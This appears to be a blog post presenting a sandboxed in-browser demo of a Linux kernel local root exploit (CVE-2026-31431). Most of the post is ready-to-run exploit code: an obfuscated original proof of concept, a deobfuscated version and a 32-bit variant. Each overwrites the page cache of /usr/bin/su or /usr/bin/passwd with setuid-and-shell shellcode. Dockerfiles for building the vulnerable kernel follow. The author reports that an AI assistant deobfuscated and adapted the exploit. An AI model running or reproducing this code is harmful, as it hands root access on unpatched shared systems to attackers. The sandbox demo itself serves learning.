logo
HomeAbout

Copy Fail Demo

Published on

Demo

demo@copyfail:~$

Downloads ~15 MB

Live Demo Above ⬆️. Mess around with it!

Steps:

  1. Start the demo
  2. Login: username: demo, password: demo
  3. (optional) Play around with the non-root user
  4. Run the exploit script ./copy_fail.py
  5. Play around with the root user

Introduction

Honestly, I don’t have a security background nor have kernel experience so this post isn’t going to be an analysis of the exploit. I did however wanted to create a demo since I’ve used linux for a very long time as a daily driver starting from 2013 until 2022 where I fully switched to MacOS (on a macbook air + mac mini) when the m-series chips came out.

You can read about the exploit here and the actual write up here.

Demo Setup

Caution

This is an active CVE and some distros may have not pushed out the patched kernels. Do not execute this exploit on systems you do not own! This is the purpose of this live demo so you can play around in a sandboxed environment!

Exploit

This is the original poc. It’s obfuscated and contains a compressed payload to meet their 732 bytes headline.

original_copy_fail_poc.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
 

I’ve asked Claude to un-obfuscated it and remove the zlib compressed payload.

unobfuscated.py
#!/usr/bin/env python3
import os
import socket
 
SOL_ALG           = 279
ALG_SET_KEY       = 1
ALG_SET_AUTHSIZE  = 5
ALG_SET_OP        = 3
ALG_SET_IV        = 2
ALG_SET_ASSOCLEN  = 4
 
# authencesn(hmac(sha256), cbc(aes)) key layout:
#   rtattr header (8 bytes): rta_len=8, rta_type=CRYPTO_AUTHENC_KEYA_PARAM, enckeylen=16
#   + 16-byte HMAC-SHA256 key (all zeros)
#   + 16-byte AES-128 key    (all zeros)
AEAD_KEY     = bytes.fromhex("0800010000000010") + b"\x00" * 32
AUTH_TAG_LEN = 4
IV_LEN       = 16
ASSOC_LEN    = 8
 
def write_4bytes(fd, target_offset, chunk):
    alg_sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # 38 = AF_ALG
    alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, AEAD_KEY)
    alg_sock.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, None, AUTH_TAG_LEN)
    op_sock, _ = alg_sock.accept()
 
    splice_len = target_offset + 4
 
    # AAD = seqno_hi (ignored) || seqno_lo (the 4 bytes we want written)
    aad = b"\x00" * 4 + chunk
    ancdata = [
        (SOL_ALG, ALG_SET_OP,      (0).to_bytes(4, "little")),        # decrypt
        (SOL_ALG, ALG_SET_IV,      IV_LEN.to_bytes(4, "little") + b"\x00" * IV_LEN),
        (SOL_ALG, ALG_SET_ASSOCLEN, ASSOC_LEN.to_bytes(4, "little")),
    ]
    op_sock.sendmsg([aad], ancdata, 32768)  # 32768 = MSG_MORE
 
    pipe_r, pipe_w = os.pipe()
    os.splice(fd, pipe_w, splice_len, offset_src=0)
    os.splice(pipe_r, op_sock.fileno(), splice_len)
 
    try:
        op_sock.recv(ASSOC_LEN + target_offset)
    except OSError:
        pass
 
    os.close(pipe_r)
    os.close(pipe_w)
    op_sock.close()
    alg_sock.close()
 
# Minimal x86-64 ELF: setuid(0) + execve("/bin/sh", NULL, NULL)
# Entry point is 0x400078, which is right after the ELF + program headers.
PAYLOAD_ELF = (
    # --- ELF header (64 bytes) ---
    b"\x7f\x45\x4c\x46\x02\x01\x01\x00"  # magic, 64-bit, LE, ELF version 1
    b"\x00\x00\x00\x00\x00\x00\x00\x00"  # OS/ABI = UNIX System V, padding
    b"\x02\x00\x3e\x00\x01\x00\x00\x00"  # ET_EXEC, EM_X86_64, e_version = 1
    b"\x78\x00\x40\x00\x00\x00\x00\x00"  # e_entry   = 0x400078
    b"\x40\x00\x00\x00\x00\x00\x00\x00"  # e_phoff   = 0x40 (right after this header)
    b"\x00\x00\x00\x00\x00\x00\x00\x00"  # e_shoff   = 0 (no section headers)
    b"\x00\x00\x00\x00\x40\x00\x38\x00"  # e_flags=0, e_ehsize=64, e_phentsize=56
    b"\x01\x00\x00\x00\x00\x00\x00\x00"  # e_phnum=1, e_shentsize/shnum/shstrndx=0
    # --- Program header (56 bytes) ---
    b"\x01\x00\x00\x00\x05\x00\x00\x00"  # p_type = PT_LOAD, p_flags = PF_R|PF_X
    b"\x00\x00\x00\x00\x00\x00\x00\x00"  # p_offset = 0 (load from start of file)
    b"\x00\x00\x40\x00\x00\x00\x00\x00"  # p_vaddr  = 0x400000
    b"\x00\x00\x40\x00\x00\x00\x00\x00"  # p_paddr  = 0x400000
    b"\x9e\x00\x00\x00\x00\x00\x00\x00"  # p_filesz = 158
    b"\x9e\x00\x00\x00\x00\x00\x00\x00"  # p_memsz  = 158
    b"\x00\x10\x00\x00\x00\x00\x00\x00"  # p_align  = 0x1000
    # --- Shellcode at 0x400078 (entry point) ---
    b"\x31\xc0\x31\xff"                   # xor eax, eax  /  xor edi, edi
    b"\xb0\x69\x0f\x05"                   # mov al, 105   /  syscall  → setuid(0)
    b"\x48\x8d\x3d\x0f\x00\x00\x00"      # lea rdi, [rip+15]  → points to "/bin/sh"
    b"\x31\xf6"                           # xor esi, esi
    b"\x6a\x3b\x58\x99"                   # push 59  /  pop rax  /  cdq  → SYS_execve, rdx=0
    b"\x0f\x05"                           # syscall  → execve("/bin/sh", NULL, NULL)
    b"\x31\xff\x6a\x3c\x58"              # xor edi, edi  /  push 60  /  pop rax  → SYS_exit
    b"\x0f\x05"                           # syscall  → exit(0)
    b"\x2f\x62\x69\x6e\x2f\x73\x68\x00"  # "/bin/sh\0"
    b"\x00\x00"                           # pad to 4-byte boundary
)
 
def main():
    target_fd = os.open("/bin/su", os.O_RDONLY)
 
    offset = 0
    while offset < len(PAYLOAD_ELF):
        write_4bytes(target_fd, offset, PAYLOAD_ELF[offset:offset + 4])
        offset += 4
 
    os.close(target_fd)
    os.system("su")
 
main()
 

Another round of claude to have a working poc in the demo. It made these changes:

  1. Use a 32 bit payload (the v86 library can only handle 32 bit runtime)
  2. Using passwd (couldn’t get it working with su)
copy_fail.py
#!/usr/bin/env python3
"""
CVE-2026-31431 — AF_ALG authencesn page-cache overwrite exploit
 
The authencesn AEAD implementation copies seqno_lo (bytes 4–7 of the AAD) back
into the scatter list via scatterwalk_map_and_copy during decryption. When the
ciphertext is supplied via splice, those scatter pages are borrowed from the
file's page cache — so seqno_lo lands in the page cache at an offset determined
by the splice length. This lets an unprivileged user overwrite arbitrary offsets
in any readable file's page cache.
 
Overwrites /usr/bin/passwd's page cache with a setuid(0)+execve shellcode ELF,
then executes passwd to drop into a root shell.
"""
 
import os
import socket
 
# ── AF_ALG constants ──────────────────────────────────────────────────────────
 
AF_ALG              = 38
SOL_ALG             = 279
 
ALG_SET_KEY         = 1
ALG_SET_AUTHSIZE    = 5
ALG_SET_OP          = 3
ALG_SET_IV          = 2
ALG_SET_AEAD_ASSOCLEN = 4
 
ALG_OP_DECRYPT      = 0
MSG_MORE            = 0x8000
 
# ── AEAD key material ─────────────────────────────────────────────────────────
 
# authencesn(hmac(sha256), cbc(aes)) key layout:
#   rtattr header (8 bytes): rta_len=8, rta_type=CRYPTO_AUTHENC_KEYA_PARAM, enckeylen=16
#   + 16-byte HMAC-SHA256 key (all zeros)
#   + 16-byte AES-128 key    (all zeros)
AEAD_KEY      = bytes.fromhex('0800010000000010') + b'\x00' * 32
AUTH_TAG_LEN  = 4    # minimum accepted tag size; value is never verified
IV_LEN        = 16
ASSOC_LEN     = 8    # seqno_hi (4 bytes) + seqno_lo (4 bytes)
 
# ── Core primitive ────────────────────────────────────────────────────────────
 
def write_4bytes(fd, target_offset, chunk):
    """
    Write the 4 bytes in `chunk` into the page cache of `fd` at `target_offset`.
 
    Mechanism:
      1. Open an authencesn AEAD socket and set chunk as seqno_lo in the AAD.
      2. Send the decrypt request with MSG_MORE (ciphertext arrives via splice).
      3. Splice (target_offset + 4) bytes from fd into the kernel scatter list.
         This maps the file's page-cache pages into the AEAD scatterwalk.
      4. Trigger the decrypt. authencesn writes seqno_lo back into the scatter
         list at a struct-size-dependent offset, corrupting the page cache.
    """
    alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
    alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, AEAD_KEY)
    alg_sock.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, None, AUTH_TAG_LEN)
    op_sock, _ = alg_sock.accept()
 
    splice_len = target_offset + 4
 
    # AAD = seqno_hi (ignored) || seqno_lo (chunk — the bytes we want written)
    aad = b'\x00' * 4 + chunk
    ancdata = [
        (SOL_ALG, ALG_SET_OP,             ALG_OP_DECRYPT.to_bytes(4, 'little')),
        (SOL_ALG, ALG_SET_IV,             IV_LEN.to_bytes(4, 'little') + b'\x00' * IV_LEN),
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN,  ASSOC_LEN.to_bytes(4, 'little')),
    ]
    op_sock.sendmsg([aad], ancdata, MSG_MORE)
 
    pipe_r, pipe_w = os.pipe()
    os.splice(fd, pipe_w, splice_len, offset_src=0)
    os.splice(pipe_r, op_sock.fileno(), splice_len)
 
    try:
        # Reading back triggers the decrypt and the seqno_lo write into the page cache.
        # EBADMSG is expected — the ciphertext and tag are garbage.
        op_sock.recv(ASSOC_LEN + target_offset)
    except OSError:
        pass
 
    os.close(pipe_r)
    os.close(pipe_w)
    op_sock.close()
    alg_sock.close()
 
# ── Payload ───────────────────────────────────────────────────────────────────
 
# Minimal i386 ELF: setuid(0) + execve("/bin//sh", ["/bin//sh", NULL], NULL)
# Entry point is 0x08048054, which is right after the ELF + program headers.
PAYLOAD_ELF = (
    # --- ELF header (52 bytes) ---
    b"\x7f\x45\x4c\x46\x01\x01\x01\x00"  # magic, 32-bit, LE, ELF version 1
    b"\x00\x00\x00\x00\x00\x00\x00\x00"  # OS/ABI = UNIX System V, padding
    b"\x02\x00\x03\x00\x01\x00\x00\x00"  # ET_EXEC, EM_386, e_version = 1
    b"\x54\x80\x04\x08"                   # e_entry      = 0x08048054
    b"\x34\x00\x00\x00"                   # e_phoff      = 0x34 (right after this header)
    b"\x00\x00\x00\x00"                   # e_shoff      = 0 (no section headers)
    b"\x00\x00\x00\x00"                   # e_flags      = 0
    b"\x34\x00\x20\x00"                   # e_ehsize=52, e_phentsize=32
    b"\x01\x00\x28\x00\x00\x00\x00\x00"  # e_phnum=1, e_shentsize/shnum/shstrndx=0
    # --- Program header (32 bytes) ---
    b"\x01\x00\x00\x00"                   # p_type   = PT_LOAD
    b"\x00\x00\x00\x00"                   # p_offset = 0 (load from start of file)
    b"\x00\x80\x04\x08"                   # p_vaddr  = 0x08048000
    b"\x00\x80\x04\x08"                   # p_paddr  = 0x08048000
    b"\x75\x00\x00\x00"                   # p_filesz = 117
    b"\x75\x00\x00\x00"                   # p_memsz  = 117
    b"\x05\x00\x00\x00"                   # p_flags  = PF_R|PF_X
    b"\x00\x10\x00\x00"                   # p_align  = 0x1000
    # --- Shellcode at 0x08048054 (entry point) ---
    b"\x31\xdb"                           # xor    ebx, ebx
    b"\x31\xc0"                           # xor    eax, eax
    b"\xb0\x17"                           # mov    al, 0x17    ; 23 = SYS_setuid
    b"\xcd\x80"                           # int    0x80        ; setuid(0)
    b"\x31\xc0"                           # xor    eax, eax
    b"\x50"                               # push   eax         ; NULL terminator for string
    b"\x68\x2f\x2f\x73\x68"              # push   "//sh"
    b"\x68\x2f\x62\x69\x6e"              # push   "/bin"      ; esp → "/bin//sh\0"
    b"\x89\xe3"                           # mov    ebx, esp    ; ebx = &"/bin//sh"
    b"\x50"                               # push   eax         ; argv[1] = NULL
    b"\x53"                               # push   ebx         ; argv[0] = &"/bin//sh"
    b"\x89\xe1"                           # mov    ecx, esp    ; ecx = argv
    b"\x31\xd2"                           # xor    edx, edx    ; envp = NULL
    b"\xb0\x0b"                           # mov    al, 0x0b    ; 11 = SYS_execve
    b"\xcd\x80"                           # int    0x80        ; execve("/bin//sh", argv, NULL)
    b"\x00\x00\x00"                       # pad to 4-byte boundary
)
 
# ── Main ──────────────────────────────────────────────────────────────────────
 
def main():
    passwd_fd = os.open('/usr/bin/passwd', os.O_RDONLY)
 
    offset = 0
    while offset < len(PAYLOAD_ELF):
        write_4bytes(passwd_fd, offset, PAYLOAD_ELF[offset:offset + 4])
        offset += 4
 
    os.close(passwd_fd)
 
    print('[*] page cache overwritten — executing passwd to spawn root shell')
    os.system('passwd')
 
main()
 

WASM-Ed Linux

The v86 library was used to run an emulated i686 Linux directly in the browser with WASM. To ensure the demo worked, these versions were pinned:

  1. Alpine: 3.20.5
  2. Kernel: 6.6.136
Welcome to Alpine Linux 3.20
Kernel 6.6.136 on an i686 (/dev/ttyS0)

The Dockerfile below builds the bzImage.bin and the initrd.img. It also strips out unncessary python libraries to keep the size small and be below the cloudflare size limit.1

Dockerfile
FROM debian:bookworm-slim@sha256:0104b334637a5f19aa9c983a91b54c89887c0984081f2068983107a6f6c21eeb AS builder
 
RUN apt-get update && apt-get install -y \
    gcc-i686-linux-gnu \
    flex \
    bison \
    bc \
    wget \
    xz-utils \
    make \
    && rm -rf /var/lib/apt/lists/*
 
# One patch version before the exploit fix
ARG KERNEL_VERSION=6.6.136
WORKDIR /build
 
RUN wget -q https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-${KERNEL_VERSION}.tar.xz \
    && tar xf linux-${KERNEL_VERSION}.tar.xz
 
WORKDIR /build/linux-${KERNEL_VERSION}
 
COPY kernel-config .config
 
RUN make ARCH=i386 CROSS_COMPILE=i686-linux-gnu- olddefconfig \
    && make ARCH=i386 CROSS_COMPILE=i686-linux-gnu- -j$(nproc) bzImage \
    && cp arch/x86/boot/bzImage /build/bzImage
 
FROM scratch
COPY --from=builder /build/bzImage /bzImage.bin
 
Dockerfile.rootfs
FROM debian:bookworm-slim@sha256:0104b334637a5f19aa9c983a91b54c89887c0984081f2068983107a6f6c21eeb AS builder
 
RUN apt-get update && apt-get install -y \
    cpio \
    curl \
    gzip \
    qemu-user-static \
    && rm -rf /var/lib/apt/lists/*
 
# Alpine 3.20.5 x86 — pinned so the passwd binary layout stays consistent with the exploit
ARG ALPINE_MIRROR="https://dl-cdn.alpinelinux.org/alpine"
ARG MINIROOTFS="alpine-minirootfs-3.20.5-x86.tar.gz"
ARG MINIROOTFS_SHA256="a250d78b6facfd25edfb8faee7b340d29e62651364eb16651158f569672d9430"
WORKDIR /build
 
RUN mkdir -p rootfs \
    && curl -sLo minirootfs.tar.gz "${ALPINE_MIRROR}/v3.20/releases/x86/${MINIROOTFS}" \
    && echo "${MINIROOTFS_SHA256}  minirootfs.tar.gz" | sha256sum -c - \
    && tar xzf minirootfs.tar.gz -C rootfs
 
RUN cp /etc/resolv.conf rootfs/etc/resolv.conf \
    && chroot rootfs /sbin/apk add --no-cache python3 shadow \
    && rm rootfs/etc/resolv.conf \
    && chroot rootfs /usr/sbin/adduser -D -h /home/demo demo \
    && echo "demo:demo" | chroot rootfs /usr/sbin/chpasswd
 
COPY copy_fail.py /build/copy_fail.py
RUN cp /build/copy_fail.py rootfs/home/demo/copy_fail.py \
    && chmod +x rootfs/home/demo/copy_fail.py \
    && chroot rootfs /bin/chown demo:demo /home/demo/copy_fail.py
 
RUN printf '#!/bin/sh\nmount -t proc proc /proc\nmount -t sysfs sys /sys\nmount -t devtmpfs devtmpfs /dev\nhostname copyfail\nexec /sbin/getty -L ttyS0 115200 vt100\n' > rootfs/init \
    && chmod +x rootfs/init
 
# lib-dynload: remove large modules we definitely don't need
RUN find rootfs/usr/lib/python3.*/lib-dynload -name '*.so' \( \
    -name 'unicodedata.*' -o \
    -name '_testcapi.*'   -o \
    -name '_testclinic.*' -o \
    -name '_testbuffer.*' -o \
    -name '_codecs_jp.*'  -o \
    -name '_codecs_hk.*'  -o \
    -name '_codecs_cn.*'  -o \
    -name '_codecs_kr.*'  -o \
    -name '_codecs_tw.*'  -o \
    -name '_multibytecodec.*' -o \
    -name '_decimal.*'    -o \
    -name '_ssl.*'        -o \
    -name '_ctypes.*'     -o \
    -name '_pickle.*'     -o \
    -name '_sqlite3.*'    -o \
    -name '_curses.*'     -o \
    -name '_elementtree.*' -o \
    -name 'pyexpat.*'     -o \
    -name '_asyncio.*'    -o \
    -name '_hashlib.*'    -o \
    -name '_sha2.*'       -o \
    -name '_blake2.*'     -o \
    -name '_lzma.*'       \
    \) -delete
 
# Python stdlib: strip everything not needed to run the exploit
RUN rm -rf rootfs/usr/lib/python3.*/ensurepip \
    && rm -rf rootfs/usr/lib/python3.*/idlelib \
    && rm -rf rootfs/usr/lib/python3.*/tkinter \
    && rm -rf rootfs/usr/lib/python3.*/turtledemo \
    && rm -rf rootfs/usr/lib/python3.*/distutils \
    && rm -rf rootfs/usr/lib/python3.*/lib2to3 \
    && rm -rf rootfs/usr/lib/python3.*/test \
    && rm -rf rootfs/usr/lib/python3.*/asyncio \
    && rm -rf rootfs/usr/lib/python3.*/pydoc_data \
    && rm -rf rootfs/usr/lib/python3.*/email \
    && rm -rf rootfs/usr/lib/python3.*/xml \
    && rm -rf rootfs/usr/lib/python3.*/xmlrpc \
    && rm -rf rootfs/usr/lib/python3.*/html \
    && rm -rf rootfs/usr/lib/python3.*/http \
    && rm -rf rootfs/usr/lib/python3.*/urllib \
    && rm -rf rootfs/usr/lib/python3.*/multiprocessing \
    && rm -rf rootfs/usr/lib/python3.*/unittest \
    && rm -rf rootfs/usr/lib/python3.*/logging \
    && rm -rf rootfs/usr/lib/python3.*/json \
    && rm -rf rootfs/usr/lib/python3.*/ctypes \
    && rm -rf rootfs/usr/lib/python3.*/sqlite3 \
    && rm -rf rootfs/usr/lib/python3.*/curses \
    && rm -rf rootfs/usr/lib/python3.*/dbm \
    && rm -rf rootfs/usr/lib/python3.*/zipfile \
    && rm -rf rootfs/usr/lib/python3.*/config-3.*-linux-musl \
    && rm -f  rootfs/usr/lib/python3.*/_pydecimal.py \
    && rm -f  rootfs/usr/lib/python3.*/turtle.py \
    && rm -f  rootfs/usr/lib/python3.*/tarfile.py \
    && rm -f  rootfs/usr/lib/python3.*/pydoc.py \
    && rm -f  rootfs/usr/lib/python3.*/calendar.py \
    && rm -f  rootfs/usr/lib/python3.*/decimal.py \
    && rm -f  rootfs/usr/lib/python3.*/difflib.py \
    && rm -f  rootfs/usr/lib/python3.*/pickle.py \
    && rm -f  rootfs/usr/lib/python3.*/trace.py \
    && rm -f  rootfs/usr/lib/python3.*/profile.py \
    && rm -f  rootfs/usr/lib/python3.*/cProfile.py \
    && rm -f  rootfs/usr/lib/python3.*/pstats.py \
    && rm -f  rootfs/usr/lib/python3.*/timeit.py \
    && find rootfs/usr/lib/python3.* -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null; true \
    && find rootfs/usr/lib/python3.* -name '*.pyc' -delete 2>/dev/null; true
 
RUN ( cd rootfs && find . | cpio -o -H newc | gzip -9 ) > /build/initrd.img
 
FROM scratch
COPY --from=builder /build/initrd.img /initrd.img
 

Both the seabios.bin and the vgabios.bin can be downloaded from here.

Thoughts

I’ve longed switched to MacOS as my daily driver but linux holds a special place in my heart. This wouldn’t have affected me personally since this exploit since all the machines I’ve used linux on were single-tenent (myself) and would have already root access. I guess the concern here is running random scripts and installing software not on the official repos.

I do find it cool that you’re able to run an operating system on the browser wtih WASM and by extension, running non javascript code on the browser. One thing I want to explore in the future is comparing the performance between javascript and a WASM implementation. I want to see what workloads benefits from WASM and what point the extra overhead isn’t worth running WASM for.

Footnotes

  1. Max static asset size is 25MB documented here.